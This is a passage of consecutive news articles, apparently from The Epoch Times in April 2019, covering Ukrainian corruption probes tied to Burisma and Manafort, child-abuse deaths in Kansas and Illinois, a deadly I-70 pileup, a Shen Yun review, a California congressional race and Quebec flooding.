Hunter Biden. According to Ukrainian Prosecutor General Yuriy Lutsenko, following Shokins forced dismissal, the Burisma investigation was transferred to Sytnyks NABU, which then reportedly closed the investigation sometime in 2016. The Kyiv Post on March 27 published an editorial written by three members of the Anti-Corruption Action Center in Kyiv that disputed Lutsenkos interview with The Hill. They claim that two cases relating to Burisma are still being investigated by NABU: Two cases regarding the extraction of licenses by Zlochevskys companies and embezzlement of public funds at the ministrys procurements during Zlochevskys Ministerial tenure remain active and are investigated by NABU. They also claim that none of the criminal proceedings against Burisma were closed by NABU. They acknowledged that the case concerning illegal issuance of licenses to extract natural resources were transferred to NABU in December 2015, but claim that SAP missed procedural deadlines for a lawsuit on canceling those licenses. The politics within Ukraine are extremely complicated, and corruption is endemic, often leading to conflicting accounts of events. US Pressure to Investigate Manafort In January 2016, top Ukrainian corruption prosecutors and officials from Obamas National Security Council (NSC), FBI, State Department and Department of Justice (DOJ) met in Washington, according to an April 26 article by The Hill. The meeting, which was reportedly billed as training, apparently also touched on two other mattersthe revival of a closed investigation into payments to U.S. figures from Ukraines Russia-backed Party of Regions and the closure of an ongoing Ukrainian investigation into Burisma. According to The Hills reporting, the Ukrainian Embassy confirmed that meetings were held, but said it had no record that the Party of Regions or Burisma cases came up in the meetings. A Jan. 22, 2016, NABU press release confirmed that NABU Director Artem Sytnyk was in Washington from Jan. 19 to 21. At the same time as the NABU meeting with Obama officials, Vice President Biden also met with senior Ukrainian officials. On Jan. 21, 2016, Biden met with Poroshenko, the president of Ukraine. According to the White House release, the two leaders agreed to continue to move forward on Ukraines anti-corruption agenda. Just six days earlier, on Jan 15, 2016, Biden had met with Ukrainian Prime Minister Volodymyr Groysman, promising to commit $220 million in new assistance to Ukraine that year. Notably, several months later, Sytnyk and Ukrainian Member of Parliament Serhiy Leshchenko would publicly disclose the contents of the Ukrainian black ledger to the media, which implicated Trumps campaign manager, Paul Manafort. The revelation would force Manafort from the campaign. Leshchenko also served as a source for various individuals, including journalist Michael Isikoff and Democratic National Committee (DNC) operative Alexandra Chalupa. In addition, Leshchenko served as a direct source of information for Fusion GPSand its researcher, former CIA contractor Nellie Ohr. Another Ukrainian-related meeting also took place in January 2016 when Chalupa, a Ukrainian-American, informed an unknown senior DNC official that she believed there was a Russian connection with the Trump campaign. Notably, this theme would be picked up by the Clinton campaign in the summer of 2016. Chalupa also told the official to expect Manaforts involvement in the Trump campaign. How Chalupa knew to expect Manaforts involvement with the Trump campaign in January remains unknown, but her forecast proved prescient, as Manafort reached out to the Trump campaign shortly after, on Feb. 29, 2016, through a mutual acquaintance, Thomas J. Barrack Jr. According to Manafort, he and Trump hadnt been in communication for years until the Trump campaign responded to Manaforts offer. As The Epoch Times previously reported, on May 30, 2016, Fusion GPS contractor Nellie Ohr sent an email to her husband, high-ranking DOJ official Bruce Ohr, and three other DOJ officials to alert them of the discovery of the Reported Trove of Documents on Ukrainian Party of Regions Black Cashbox. It was this discovery that led to Manaforts resignation from the Trump campaign in August 2016. On Aug. 14, 2016, The New York Times published an article alleging that payments to Manafort had been uncovered from the Party of Regents black boxthe 400-page handwritten ledger released by Leshchenko. The article proved to be a fatal blow for Manafort, who resigned from the Trump campaign just days later. NABU Ties to FBI Following the successful overthrow of Yanukovych, Joe Biden had a direct hand in the formation of the National Anti-Corruption Bureau (NABU), as he personally pushed for the creation of an independent anti-corruption bureau to combat graft, according to an Oct. 30, 2016, article by Foreign Policy. NABU was formally established in October 2014 in response to pressure from not only the U.S. State Department and Biden, but also by the International Monetary Fund and the European Commission. Despite the international push, the fledgling anti-corruption unit took more than a year to actually become a functioning unit. During this time, NABU officials began establishing a relationship with the FBI. In early 2016, NABU Director Sytnyk announced that his bureau was very close to signing a memorandum of cooperation with the FBI and by February 2016, the FBI had had a permanent representative onsite at the NABU offices. On June 5, 2016, Sytnyk met with U.S. Ambassador Pyatt to discuss a more formalized relationship with the FBI and, on June 30, 2016, NABU and the FBI entered into a memorandum of understanding that allowed for an FBI office onsite at NABU offices to focus on international money laundering cases. The relationship was renewed for an additional two years in June 2017. NABU has repeatedly refused to make the memorandum of understanding with the FBI public and went to court in 2018 to prevent its release. After receiving an unfavorable opinion from the Kyiv District Administrative Court, NABU appealed the ruling, which was overturned in its favor by the Sixth Administrative Court of Appeal. Sytnyk, along with parliamentarian Leshchenko, became the subject of an investigation in Ukraine and in December 2018, a Kyiv court ruled that both men acted illegally when they revealed that Manaforts surname and signature were found in the so-called black ledger of ousted President Viktor Yanukovychs Party of Regions, the Kyiv Post reported on Dec. 12, 2018. The court noted the material was part of a pre-trial investigation and its release led to interference in the electoral processes of the United States in 2016 and harmed the interests of Ukraine as a state. Leshchenko had publicly adopted a strong anti-Trump stance, telling the Financial Times in August 2016 that a Trump presidency would change the pro-Ukrainian agenda in American foreign policy and that it was important to show not only the corruption aspect, but that he is [a] pro-Russian candidate who can break the geopolitical balance in the world. Leschenko noted that the majority of Ukrainian politicians were on Hillary Clintons side. In December 2017, Ukrainian Prosecutor General Lutsenko accused Sytnyk of allowing the FBI to conduct illegal operations in Ukraine, claiming that the U.S. law enforcers were allegedly invited without the permission required and in breach of the necessary procedures. Lutsenko continued by asking, Who actually let the foreign special service act in Ukraine? Taras Chornovil, a Ukrainian political analyst, also questioned the FBIs activities, writing that some kind of undercover operations are being conducted in Ukraine with direct participation (or even under control) of the FBI. This means the FBI operatives could have access to classified data or confidential information. Lutsenko called for an audit of NABU, claiming to possess information of interest to the auditors and was pushing for Sytnyks resignation, along with that of Nazar Kholodnitskiy, the Specialized Anti-Corruption Prosecutors Office (SAP). According to reporting by Euromaidan Press, Lutsenkos efforts failed thanks to the reaction from Ukraines American partners. Michael Carpenter, an adviser to Joe Biden, personally issued a public warning to Lutsenko and others pushing for Sytnyks removal, stating, If the Rada votes to dismiss the head of the Anticorruption Committee and the head of the NABU, I will recommend cutting all U.S. government assistance to #Ukraine, including security assistance. Sytnyk remains in his position as NABUs director. Pinchuks Ties to Leshchenko, Clintons On April 11, 2019, Greg Craig, Obamas former White House counsel and a partner at law firm Skadden, Arps, Slate, Meagher & Flom LLP, was indicted for lying about and concealing his work in Ukraine. Craig, who reportedly worked closely with Manafort, was paid more than $4 million to produce an independent report justifying Ukraines trial and conviction of the former prime minister, Yulia Tymoshenko. Notably, Craigs name was not included in the Black Ledger leak from Leshchenko and Sytnyk. The indictment notes that a wealthy private Ukrainian was fully funding the report. In a recent YouTube video, Craig publicly stated that it was Doug Schoen who brought this project to me, and he told me he was acting on behalf of Victor Pinchuk, who was a pro-western, Ukrainian businessman who helped to fund the project. The Firm understood that its work was to be largely funded by Victor Pinchuk, Skadden wrote in recent FARA filings. Pinchuk put out a statement on Jan. 21, denying any financial involvement: Mr. Pinchuk was not the source of any funds used to pay fees of Skadden in producing their report into the trial and conviction of Yulia Tymoshenko. He was in no way responsible for those costs. Neither Mr. Pinchuk nor companies affiliated with him have ever been a client of Skadden. Mr. Pinchuk and his team had no role in the work done by Skadden, including in the preparation or dissemination of the Skadden report. Pinchuk is the founder of Interpipe, a steel pipe manufacturer. He owns Credit Dnipro Bank, several ferroalloy plants and a media empire. He is married to Elena Pinchuk, the daughter of former Ukrainian President Leonid Kuchma. Pinchuk has been accused of profiting immensely from the purchase of state-owned assets at severely below-market prices through political favoritism. Between April 4 and April 12, 2016, Ukrainian parliamentarian Olga Bielkova had four meetings, with Samuel Charap (International Institute for Strategic Studies), Liz Zentos (National Security Council), Michael Kimmage (State Department), and David Kramer (McCain Institute). FARA documents filed by Schoen showed that he was paid $40,000 a month by Pinchuk (page 5)in part to arrange these meetings. Schoen attempted to arrange another 72 meetings with congressmen and media (page 10). Its unknown how many of these meetings, if any, took place. Schoen also helped Pinchuk establish ties with the Clinton Foundation. The Wall Street Journal reported on March 19, 2015, how Schoen connected Pinchuk with senior Clinton State Department staffers in order to pressure former Ukrainian President Yanukovych to release Tymoshenkoa political rival of Yanukovychfrom jail. And the relationship between Pinchuk and the Clintons continued. According to the Kyiv Post: Clinton and her husband Bill, the 42nd U.S. president, have been paid speakers at the annual YES and other Pinchuk events. They describe themselves as friends of Pinchuk, who is known internationally as a businessman and philanthropist. Although exact numbers arent clear, reports filed by the Clinton Foundation indicate that as much as $25 million of Pinchuks donations went to the Clinton organization. Pinchuk also has ties to Leshchenko, the Ukrainian MP who leaked the information on Manafort. Leshchenko had been a frequent speaker at the Ukrainian Breakfast, a traditional private event held at Davos, Switzerland, and hosted by the Victor Pinchuk Foundation and has also been pictured with Pinchuk at multiple other events. Kansas Agency Finds Abuse and Neglect in Wichita Boys Death WICHITA, Kan.Kansas child welfare authorities investigated two reports of possible abuse or neglect involving a Wichita couple in the 17 months before their 3-year-old son was found dead in his crib. The Kansas Department of Children and Families on Thursday, April 26, completed its investigation into the April 12 death of Zaiden Javonovich, who authorities believe was dead days before his body was discovered. In a report summary obtained by The Associated Press through an open records request, the agency said it found physical abuse and neglect in the case but provided no other details. Zaidens mother, Brandi Marchant, 22, and his father, Patrick Javonovich, 28, are charged with felony murder and child abuse in Zaidens death. His body was found April 11 when police went to the home after receiving a call about a domestic disturbance. Zaidens 4-month-old brother, who is Marchants son, was found injured and hospitalized in critical condition. In November 2017, the Department of Children and Families investigated possible emotional abuse after a report that Marchant made homicidal and suicidal statements in front of the children. One child who reported a homicidal statement mentioned Zaiden, according to the report. Several people were interviewed but investigators could not substantiate the claim. A year later, the department was told the younger boy tested positive for marijuana at birth. The case could not be investigated as an abuse/neglect case because medical officials did not indicate the boys health was hurt by marijuana use, the summary states. Instead, a Family in Need of Assessment case was started. A social worker who met with the couple found both children appearing healthy, with all necessary supplies for the infant, according to the report. The parents, who are not married, completed a federally required plan of safe care and in another visit, Marchant completed a Department of Children and Families safety plan. The case was closed Jan. 14. The Wichita Eagle reported the agency rejected a request for information about the younger boy. Spokesman Eric Smith confirmed the department received a report of alleged abuse and is investigating. The Wichita area has seen several child abuse homicides. The victims include 3-year-old Evan Brewer, whose body was found encased in concrete, and 5-year-old Lucas Hernandez, whose body was found under a rural bridge months after he went missing. Evans was subjected to months of abuse at the hands of Bodine and Millerincluding standing naked and chained for hours and being taunted and slapped while he cried. His body was found in concrete after the couple moved out of their rental home in Wichita. Miller pleaded guilty in late 2018 to second-degree murder, aggravated kidnapping, child abuse and aggravated endangering a child. As part of her plea deal, she testified against Bodine, who was convicted of first-degree murder, child abuse, and other charges and is serving a sentence of 109 years and six months in prison. Lucas was reported missing Feb. 17 by his fathers girlfriend, Emily Glass. His body was found three months later in Harvey County after Glass led a private investigator to the scene. Two weeks later, Glass killed herself, according to an autopsy. Before Lucas disappeared, the DCF received seven reports of suspected abuse, neglect or lack of supervision involving him, agency spokeswoman Taylor Forrest. The agencys investigations found the allegations were unsubstantiated. The only report of suspected physical abuse came in May 2017, when the agency said the alleged perpetrator is Emily Glass or unknown. The agency had extensive involvement with both children before their deaths. While campaigning last year, Democratic Gov. Laura Kelly repeatedly described problems in the child welfare system as among the most pressing the state faces. Lawmakers now are considering increasing funding to add more child welfare workers. A4: @ChildWelfareHub Investing in evidence-based prevention programs and community prevention efforts will reduce the number of children exposed to abuse and neglect, ultimately leading to a reduce number of referrals to the child welfare system #CAPMonthChat #NCAPM2019 pic.twitter.com/dxgxG0jswL Kristen Torres (@KristenTorresDC) April 25, 2019 Lakewood Police Department spokesman Ty Countryman briefs reporters about the deadly crash on the I-70 under Denver West Parkway bridge on April 25, 2019. (Lakewood Police Department / Google Maps) Man Livestreams Semi Moments Before it Crashes Into Cars in Fiery I-70 Pileup in Colorado A local YouTuber transmitting from his car while stuck in a traffic jam on the I-70 in Colorado captured the horrific moment a semi-truck barreled by before plowing into a number of cars up ahead, killing multiple people. Joshua McCutchen, who runs the channel Burger Planet on YouTube, posted the video online after the fiery crash that took place just before 5 p.m. on Thursday, April 25, near the Denver West Parkway bridge in Lakewood. [Warning: contains course language] Police said multiple people were killed in the crash. Authorities have not released specifics regarding the death toll, citing ongoing efforts by fire crews to deal with persistent hotspots in the wreckage. McCutchen was stuck in a traffic jam caused by an accident further up the road and was speaking into the camera when a tractor-trailer was captured on video flying by along the shoulder. In the video, the YouTuber yells as the semi barrels by, screaming Oh my God! We almost [expletive] died. Less than a minute later McCutchen turns the camera around and records a large plume of black smoke. Flames can be seen shooting upwards from the wreckage. In another video, headlined I70 Lakewood Colorado Crash & Interview with Hero, McCutchen speaks with a man who witnessed the crash and called 911. I was down here and I saw the semi truck that was out of control and it went about 80 miles an hour and I just saw an explosion, he says, panning with the camera towards the crash site as smoke billows. Yeah, as soon as he came out from under the bridge he plowed through cars, says the interviewee, not identified by name. I looked over and his cab had rolled over and just come on flames. I hollered at my buddy and I told him Call 911 and then I took off under the bridge and started helping people, the man adds. Did you think about your own safety? McCutchen asks. No, not at all, the man replies. What Is Known About the Crash The large crash and fire that shut down Interstate 70 in both directions in Lakewood, Colorado, claimed multiple lives. Six people were transported to the hospital, including the driver of the semi that is being investigated as a possible cause of the accident. Police called it one of the worst accidents the department had seen in the city of Lakewood, involving 11 cars and 4 semis, according to ABC7. Ty Countryman with the Lakewood Police Department said a tractor-trailer heading east down a hill crashed into slower traffic in the afternoon hours of Thursday, April 25, sparking a massive fire. Countryman said the semi plowed into traffic that had been backed up near Denver West Colorado Mills Parkway due to an accident further up the road. He said that after impact, a vehicle ignited and the fire spread. A towering plume of black smoke was seen for miles as firefighters doused the burnt-out shells of several vehicles in the vicinity of the Denver West Parkway Bridge, The Associated Press reported. West Metro Fire Rescue said on Twitter that a firefighter suffered minor injuries when he was hit by debris, possibly from an exploding tire. Our crews working a multiple car crash on I-70 near Colorado Mills. Several vehicles are on fire, firefighters are working to extinguish the blaze. There are at least two injuries. Several agencies are assisting. Please avoid the area. pic.twitter.com/XUZygCKRS0 WestMetroFire (@WestMetroFire) April 25, 2019 The Lakewood Police Department said on Twitter that the highway would remain closed at least overnight. Investigation The Lakewood Police Department spokesman said the fiery pileup involved 15 vehicles and multiple people were killed. He did not specify a death toll, citing persistent hotspots and ongoing fire suppression efforts by West Metro Fire Rescue. We have now confirmed multiple fatalities in this, Countryman said at an on-location press conference around 9 p.m. local time. We still are just getting to the wreckage. He said the investigation is in its early stages, as fire crews were still working to make the site safe for investigators due to the the devastation and the fire at the crash scene. Theyre still working on the hotspots andI wouldnt say flare-upsbut the issues that come up. Six people were taken to the hospital. Their conditions are unknown. The driver of the semi is one of those six, Countryman said. Investigators are certainly going to talk to him this evening to try to piece together what we know and what we dont know in this crash right now. Countryman was earlier cited by 9News as vowing to investigate the cause of the tragedy. We have to try and figure out why this happened, Countryman said. The semi coming into the slower traffic. Theres got to be a reason. Well investigate and find out. The spokesman said investigators had begun interviewing witnesses to try piece together exactly what happened. We are still working on identifying those people that were killed and were still accounting for all people involved in the crash, Countryman said. Final update for the night on I-70 crash. Highway will remain closed at least overnight. We can confirm that there are multiple fatalities and 6 others taken to local hospitals. Posted by Lakewood Police Department on Thursday, April 25, 2019 Footage from the Crash Video footage from a news helicopter showed flames whipping off the vehicles and what appeared to be lumber spilled across the interstate. Airborne traffic reporter John Morrissey posted an aerial photograph of the scene on Twitter. EB I70 is CLOSED at Ward Rd by this crash. School bus, tanker, and several cars involved. No word on injuries but several children are being evaluated in the 2 ambulances on scene. EB I70 is CLOSED at Ward Rd by this crash. School bus, tanker, and several cars involved. No word on injuries but several children are being evaluated in the 2 ambulances on scene. #cotraffic @KOANewsRadio pic.twitter.com/Tf5rwVvdsB John Morrissey (@KOAJetcopter) April 25, 2019 This is a developing story. The Associated Press contributed to this report. Warren Kusumoto saw Shen Yun Performing Arts at Segerstrom Center for the Arts in Costa Mesa, California, on April 25, 2019. (NTD Television) COSTA MESA, Calif.Mayor of Los Alamitos Warren Kusumoto enjoyed journeying through Chinas 5,000 years of civilization and history when he experienced New York-based Shen Yun Performing Arts on April 25. The diversity of the culture and the performances portrayal of mystical places in China were something Kusumoto was delighted to see. Its just very wonderful. I think the diversity of the culture in China is just really amazing, said Kusumoto, who saw the traditional dance and music performance at the Segerstrom Center for the Arts. Through about 20 vignettes of dance, music, and stories, audience members are able to get a glimpse into aspects of Chinese history, experience popular stories right before their eyes, and listen to touching songs with their souls. Kusumoto praised all the elements of the performance, from the dancing, music, to the 3-D animated backdrop, which complemented each other and enhanced the viewing experience. Very appealing. A lot to see, a lot of things happening all at once, he said. The Californian mayor said he was particularly moved by a piece about the persecution of Falun Gong. I think the second to the last one [before intermission], where the young lady was put in prison and then brought out with the mother and then restored to good health by divine intervention, he said. I thought that was really touching and really interesting. Shen Yun portrays stories that draw inspiration from myths and legends, historical episodes, and modern real-life events. Among them include real-life human rights abuses happening under the current Chinese communist regime like the persecution of Falun Gong. Falun Gong, or Falun Dafa, teaches the principles of Truthfulness, Compassion, and Tolerance, where adherents seek to orient themselves toward self-betterment, taking responsibility, and putting others first. But the Chinese regime launched a nationwide crackdown on the practice in 1999 and has since continued to systematically persecute Falun Gong adherents in China. People who are caught practicing the discipline in China face severe persecution, including torture, imprisonment, and even death. These stories portray themes like spiritual devotion, the benevolence of gods, good and evil retribution, and the search for the meaning of life, according to the companys website. Such values are foundational to traditional Chinese culture and are not political in nature. Instead, they aim to encourage audience members to reflect upon themselves and the world around them. For Kusumoto, the story made him reflect on the freedoms seen in the United States that cannot be experienced in China. I guess the cultural diversity of the Chinese had been repressed with the current regime, and its nice that they can recapture here and grow in the free world in the United States, he said. They really want to just express themselves and its really a shame they cannot. Overall, the Kusumoto said Shen Yun was a mind-opening experience that had inspired him to explore more deeply into the culture. I think certainly reviving culture 5,000 years in the past is certainly something we want to capture because [of], again, the diversity of this planet [and] the people on it. So I think its great. I commend Shen Yun for doing thatfor preserving the culture, he said. With reporting by NTD Television. The Epoch Times considers Shen Yun Performing Arts the significant cultural event of our time and has covered audience reactions since the companys inception in 2006. Mission Viejo Mayor Mounts Run Against Congresswoman Katie Porter Last November, the Democratic Party seized control of the House of Representatives for the first time in eight years. Not many people would have thought that the historically Republican stronghold of Orange County, Calif. would be a central focus of the national media. With four Republican districts flipping to Democratic control, Republicans are now mounting multiple challenges for 2020 to try to reverse what happened in 2018. In the 45th Congressional District, which includes the communities of Irvine, Tustin, Orange, Mission Viejo and parts of Anaheim, candidates are already beginning to announce their intentions to run. The District has a 3-point Republican registration lead, which led many to wonder where former Republican Congresswoman Mimi Walters went wrong last fall. After the final results came in, Democrat Katie Porter bested Walters by 4 percentage points. As of April 2019, a number of Republican challengers have already announced they are running against Porter. The Epoch Times had the opportunity to speak with one of these candidates, Mayor Greg Raths of Mission Viejo about his decision to run. A 30-year military combat veteran, Mayor Raths graduated Arizona State University in 1975 and joined the Marine Corps as a fighter pilot, eventually achieving the rank of Colonel. He flew combat missions in Operations Desert Storm, Restore Hope, and Southern Watch. After a lengthy military career, he was asked by the Pentagon to take on a job as Chief of Staff for the White House Military Office from 1996-1999, overseeing the Air Force One squadron and working with the Secret Service on international diplomatic trips for President Bill Clinton. Raths who became Mayor this year after 5 years on Mission Viejos city council, explained that the reason why Republicans lost in the district was the fact that former Congresswoman Mimi Walters was not engaged with her constituents. She appeared to be more engaged with the leadership in Washington. She was looking ahead of the elections, didnt have town hall meetings and didnt engage the veterans, he said. Mayor Rathss decision to run follows two previous attempts to run for Congress in the 45th district in 2014 and 2016, after long time Congressman John Campbell retired. In both attempts, he didnt make it past the primary election, where Mimi Walters went on to serve two terms representing the district. This time around, Raths expects his five years on city council and recent appointment as Mayor of Mission Viejo to propel him to victory this time around. First elected to the Mission Viejos City council in 2014, Raths mentioned his role in maintaining a balanced budget for the city. Im very frugal. My job as mayor is to make sure we dont overspend. He also points out his law and order attitude towards ensuring the safety of his citys community. We contract out with the OC Sheriff to assist in policing. We make sure that criminals are punished and the laws are enforced. Security is my number one priority On issues facing the district, Raths told The Epoch Times that the cost of living is too high. As children grow up it becomes hard to stay here. We need to see how the federal and state governments can help keep locals here, he explained. We should be addressing the student debt crisis and promote community college. Raths also explained that traffic is becoming a growing issue in the district, and he supports utilizing federal dollars to mitigate the issue. The mayor also emphasized his prioritization of assisting the veterans community. He spent a number of years working on assisting the veterans community through various organizations including the OC Veterans Advisory Council. Raths said he has strong support for President Trumps veterans initiatives and would like to work with the President on future legislation in that area. Raths also placed himself out of the Republican mainstream by stating his support for alternative energy initiatives. I want clean air and water, but I dont want to get too extreme. The Green New Deal is extreme, he added. Raths stated his interest in finding ways to reduce pollution by looking into alternative energy. Raths was asked about his thoughts pertaining to Rep. Matt Gaetzs (R) Green Real Deal, a Republican alternative to the Green New Deal that would incentivize the energy industry to produce cleaner alternatives to fossil fuels. He said he would be willing to speak to Gaetz on the legislation. In addition, Raths placed a heavy emphasis on pressuring big polluters like China and India to get on board with climate change. America cant do it alone, he stated. When asked about why he was challenging Katie Porter, Raths said, I think she is a little too progressive for this district. I think this district, especially South County is more conservative than she is. The first thing she did was join the Progressive Caucus. Raths believes that his Christian, pro-life, pro-gun, and history of supporting veterans resonates with the district more than the incumbent. Im mayor of the second largest city in the district. Raths pointed out. I have political experience, business experience, and Ive got Washington experience working 4 years in the White House, he added. Raths will be facing a number of Republican primary opponents including Yorba Linda City Councilor Peggy Huang, Laguna Hills City Councilor Don Sedgewick, and Prosecutor Ray Gennaway, who all intend on challenging Katie Porter in the 2020 race. Many more are expected to enter the race, as there still remains roughly ten months remaining until the primary. Californias 2020 Primary election will be on March 3rd 2020 for all Presidential, Congressional and statewide initiatives. Montreal Declares State of Emergency as Spring Flooding Risk Continues to Rise MONTREALAs a steady rain moved into Quebec Friday, Montreal declared a state of emergency and authorities kept close tabs on a dam and a dike that were placing residents at risk to the west of the city. Provincial police were patrolling an area of homes and cottages along the Rouge River, about 140 kilometres west of Montreal, where 75 people were forced out when a hydro dam was declared to be at risk of failing. Meanwhile, Canadian Forces soldiers were dispatched to reinforce a dike in Pointe-Calumet that was threatening to give way and force 1,000 people from their homes. Montreal Mayor Valerie Plante said the situation in Quebecs largest city is under control, but heavy rain in the forecast means conditions could change rapidly in the coming days. Raising the alert level means that Montreals fire chief can force evacuations if necessary and make decisions on expenses without requiring the city council approval. In Grenville-sur-la-Rouge, where the Chute Bell dam is at risk, provincial police Sgt. Marc Tessier said evacuees left voluntarily, though some in more remote areas had to be airlifted by helicopter. Police planned to remain in the area to ensure no one returned. Our message is, if youre in the zone, were going to ask you to leave, Tessier said. We dont have a time frame for when theyll (be able to) go back. Quebec public security officials issued an alert Thursday afternoon warning residents downstream from the dam on the Rouge River to leave their homes immediately. The evacuated area stretches about 18 kilometres south to the Ottawa River in Quebecs Lower Laurentians region. The alert is in effect until May 3. The infrastructure was intended to withstand what officials call a millennial flood _ an occurrence expected once in a thousand years. Francis Labbe, a Hydro-Quebec spokesman, said those levels have been reached, and with rain in the forecast in the coming days, the Rouge River will likely rise. Right now everything is stable, its under control, Labbe said Friday. The problem is the rain that we are expecting in the next 24 hours or so, and we know this rain will make the flow of the river rise 30 per cent more than what it is right now. Eric Moisan, another utility spokesman, acknowledged that once the river flow surpasses the current 980 cubic metres per second, we dont know how the power station will perform. He noted that a dam does not necessarily give way when the flow is excessive. Its concrete. Its very solid, he said. Public Security Minister Genevieve Guilbault said heavy rainparticularly in the northern Outaouais and north of Quebec Citywill cause water levels to the south to rise, and people living near bodies of water at risk need to be prepared. She said Canadian Forces soldiers were being redeployed as needed, noting theyd been sent to Pointe-Calumet, a town northwest of Montreal that lies on the Lake of Two Mountains. They were working to reinforce a dike which, if it gives way, could put 1,000 people at risk and force them from their homes. As of 1 p.m. Friday, Quebecs Public Security Department said 3,148 residences had been flooded in the province, 2,362 residences had been cut off due to rising waters and 1,110 people had been forced from their homes. In Gatineau, Mayor Maxime Pedneaud-Jobin warned residents Friday to prepare for the worst. By Monday or Tuesday, we should exceed the highest levels of 2017, he said, adding it could stay that way for up to two weeks. What we will live through in the coming weeks, weve never experienced. Murdered Crystal Lake Boy AJ Freund Died from Blows to the Head: Coroner An autopsy has revealed that a missing Illinois 5-year-old whose body was later found in a shallow grave died of multiple blows to the head. A coroner cited in criminal complaints filed on Thursday, April 25, at the McHenry County Circuit Court, stated that Andrew AJ Freund died as a result of craniocerebral trauma caused by blunt force injuries to the head. Other chilling details were heard in court, according to Fox5, including that prior to being beaten to death, the little boy was forced to take a long, cold shower. Prosecutors cited by the news outlet said AJs parents forced their son to remain in a cold shower for an extended period of time and/or struck A.F. on or about his body, knowing such acts would cause the death of A.F. AJs parents Andrew Freund Sr., 60, and JoAnn Cunningham, 36, appeared in McHenry County Court Thursday where, according to WGN-TV, they faced multiple charges including aggravated battery and first-degree murder. A bond of $5 million each has been set for the parents, according to the report. Cunningham, who is seven months pregnant, shed tears as the judge listed the charges, WGN-TV reported. Freund Sr. showed no emotion in court. Arraignment of the two is expected to take place on April 29. No Longer Have to Suffer The boys body was found wrapped in plastic on April 24 in a rural area of Woodstock, Crystal Lake police Chief James Black said at a news conference, according to The Associated Press. Woodstock is about 50 miles northwest of Chicago and a few miles from the familys home in Crystal Lake. Black said investigators were led to the body after they interviewed the boys parents overnight and presented them with cellphone evidence. In a message intended for the slain boy, the chief said, We know you are at peace playing in heavens playground and are happy you no longer have to suffer. Luis Maldonado, a local man, described the area where the boy was discovered as being fairly isolated. Its very quiet, he told the Chicago Tribune. If they found a body here, I dont know how they found this place. AJ had been reported missing by his parents about a week ago. Police officials were seen taking items from the family home on April 23, including a shovel. Other evidence investigators removed included a toddler mattress and a large plastic tub, according to WGN-TV. Freund Sr., the boys father, and Cunningham, the mother, were interviewed by Crystal Lake Police after the child disappeared, according to reports. His father said he didnt know what happened to his son, Fox32 reported. Investigators said earlier this week that Cunningham had been uncooperative with police when they interviewed her. Cunninghams attorney, George Kililis, said she stopped answering police officers questions after her attorneys told her not to. While law enforcement was conducting a missing child investigation, Ms. Cunningham was eager to participate, Kililis told the Fox affiliate. When it became clear law enforcement was not conducting a missing child investigation, was not issuing an Amber Alert, had stopped searching for AJ, and considered her a suspect, we did advise her to stop all communications with law enforcement and she did so at our request. [Cunningham] is a valuable resource because she was the last to see Andrew, Crystal Lake Deputy Chief Tom Kotlowski told CBS News, adding that the elder Freund spent three hours with police over the weekend. Welfare Checks On April 23, the police released more than 60 pages of reports written by officers who responded to various calls about the house where AJ lived with his parents, AP reported. One report described seeing the home littered with dog feces and urine, and a childrens bedroom where the smell of feces was overwhelming. Another report said the officer found the house to be cluttered, dirty, and in disrepair, and without electrical power. The heavily-redacted reports also indicate state child welfare workers were called after officers spotted a large bruise on one of the young boys living there, but that the children appeared to be healthy and happy and were not removed from the house. Epoch Times reporter Jack Phillips and The Associated Press contributed to this article. North Carolina Teen Held Captive for a Year Speaks in Court A North Carolina teenager who was held against her will for more than a year spoke out in court on April 25. According to WSOC, Hailey Burns was held by Michael Wysolovski for more than a year. He met the teen online in 2017 and kept her locked inside an upstairs bedroom and controlled every aspect of her life, including how much she could eat. Burns, who was 17 at the time, was rescued after she reached out to a woman overseas via Facebook, who helped police find her. When Wysolovski was sentenced, Burns and her family spoke in court. The man who held a Ballantyne teen captive was sentenced in Georgia today. We're the only local station taking you through the emotional moments from the courtroom, on Eyewitness News at 5. Posted by WSOC-TV on Thursday, April 25, 2019 He manipulated me heavily, taking advantage of my mental illness to push me closer to his desires, Hailey was quoted by the local station as saying. She added that the man lowered my self-esteem greatly and led me to believe Id never be loved or have a proper life if I gained any weight. You are a coward. A silver-tongued abuser who preys on young women and girls. You rape them. You torture them. You control them. Youre sick and sadistic, Shauna Burns, her mother, told him in court on April 25. But, according to the Daily Mail, the 33-year-old pleaded guilty to first-degree cruelty to children and interstate interference with custody. Charges of rape, false imprisonment, and other counts were dropped. #gwinnettcounty You are the boogie man all parents warn their kids about. https://2wsb.tv/2GHQAFO Posted by Tony Thomas WSB on Friday, April 26, 2019 In exchange for a guilty plea, he was given a 10-year sentence. The rest will be spent in probation, the Gwinnett Daily Post reported. Wysolovski has already spent eight months in jail before his bond was set in February 2018 and was given credit for time served. He wont have to do any additional time in prison. According to WSOC, Burns said she has attempted suicide three times and is still trying to recover since she was held captive. Meanwhile, she is having trouble in social situations. The psychological damage Michael Wysolovski had inflicted is beyond measure or explanation, the Mail quoted Burns as saying. I cannot explain over a year of systematic abuse and every neurological quirk it has caused. All I hope is that it happens to no other innocent victim. Your honor, I will not allow the defendant to hurt her anymore. And I will do everything in my power to make sure he never does this to another family like mine, her father, Anthony Burns, said. Assistant District Attorney Michael DeTardo told the Atlanta Journal-Constitution that he consulted the victim and family before the plea deal, adding that there had been an agreement between Burns and Wysolovski that could not guarantee a rape conviction should it go to trial. He added that the Burns family also didnt want to go through a trial. According to the Mail, Wysolovski is now registered as a sex offender. The Burns family spoke out in court to ensure that designation. When she was found in 2017, Burns was recovered by FBI special agents after they got information that she was living in the Atlanta area. Reports indicated that she was living in a home. He gradually wormed his way into her good graces, he coerced her into listening to him and not following our directions and the next thing I knew my daughter wasnt communicating with me, her father told WBTV at the time. Missing Children There were 464,324 missing children reported in the FBIs National Crime Information Center in 2017, according to the National Center for Missing and Exploited Children. Under federal law, when a child is reported missing to law enforcement they must be entered into the database. In 2016, there were 465,676 entries. This number represents reports of missing children. That means if a child runs away multiple times in a year, each instance would be entered into NCIC separately and counted in the yearly total. Likewise, if an entry is withdrawn and amended or updated, that would also be reflected in the total, the center noted. In 2017, the center said it assisted officers and families with the cases of more than 27,000 missing children. In those cases, 91 percent were endangered runaways, and 5 percent were family abductions. About one in seven children reported missing to the center in 2017 were likely victims of child sex trafficking. Otto Frederick Warmbier (C), a University of Virginia student who was detained in North Korea since early January, is taken to North Korea's top court in Pyongyang, North Korea, in this photo released by Kyodo on March 16, 2016. (Kyodo/Reuters) North Korea Had Demanded That the United States Pay for Holding Hostage Warmbier Prior to the recent 2019 Vietnam Summit and the historic 2018 